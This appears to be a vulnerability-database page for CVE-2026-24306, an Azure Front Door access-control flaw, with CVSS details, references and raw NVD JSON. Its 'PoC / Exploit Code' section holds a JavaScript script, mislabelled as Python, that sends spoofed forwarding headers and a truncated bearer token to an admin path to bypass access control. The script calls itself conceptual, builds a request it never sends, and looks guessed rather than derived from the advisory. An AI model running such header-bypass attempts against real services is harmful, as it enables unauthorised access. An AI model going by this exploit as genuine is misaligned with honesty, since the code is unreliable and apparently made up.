CVE-2026-24306

Description

Improper access control in Azure Front Door (AFD) allows an unauthorized attacker to elevate privileges over a network.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:microsoft:azure_front_door:-:*:*:*:*:*:*:* - VULNERABLE

Azure Front Door - 所有未修复版本

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2026-24306 Azure Front Door Access Control Bypass PoC
// Educational use only - Do not use maliciously

const axios = require('axios');

async function exploitCVE202624306(targetUrl) {
    console.log('[+] Testing CVE-2026-24306 Azure Front Door Vulnerability');
    console.log('[+] Target:', targetUrl);
    
    // Step 1: Normal request (should be blocked)
    const normalRequest = {
        method: 'GET',
        url: targetUrl + '/api/admin/config',
        headers: {
            'User-Agent': 'Mozilla/5.0',
            'X-Forwarded-Host': 'legitimate-domain.azurefd.net'
        }
    };
    
    // Step 2: Bypass attempt using malformed headers
    const bypassRequest = {
        method: 'GET',
        url: targetUrl + '/api/admin/config',
        headers: {
            'User-Agent': 'Mozilla/5.0',
            'X-Forwarded-Host': targetUrl,
            'X-AFD-Host': 'internal-admin.afd.azure.com',
            'X-Original-URL': '/api/admin/config',
            'Authorization': 'Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...'
        }
    };
    
    try {
        console.log('[*] Sending bypass request...');
        const response = await axios(bypassRequest);
        console.log('[+] Response Status:', response.status);
        console.log('[+] Response Data:', response.data);
    } catch (error) {
        console.log('[-] Request failed:', error.message);
    }
}

// Note: This is a conceptual PoC. Actual exploitation requires specific conditions.
exploitCVE202624306('https://vulnerable-afd.azurefd.net');

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-24306
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-24306
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-24306/
[4] VulDB https://vuldb.com/cve/CVE-2026-24306
[5] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24306

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-24306", "sourceIdentifier": "[email protected]", "published": "2026-01-22T23:15:58.837", "lastModified": "2026-02-27T13:44:45.297", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["exclusively-hosted-service"]}], "descriptions": [{"lang": "en", "value": "Improper access control in Azure Front Door (AFD) allows an unauthorized attacker to elevate privileges over a network."}, {"lang": "es", "value": "Control de acceso inadecuado en Azure Front Door (AFD) permite a un atacante no autorizado elevar privilegios sobre una red."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-284"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:azure_front_door:-:*:*:*:*:*:*:*", "matchCriteriaId": "F66AE777-ECFA-4FD1-A6B5-AD9E8181020A"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24306", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}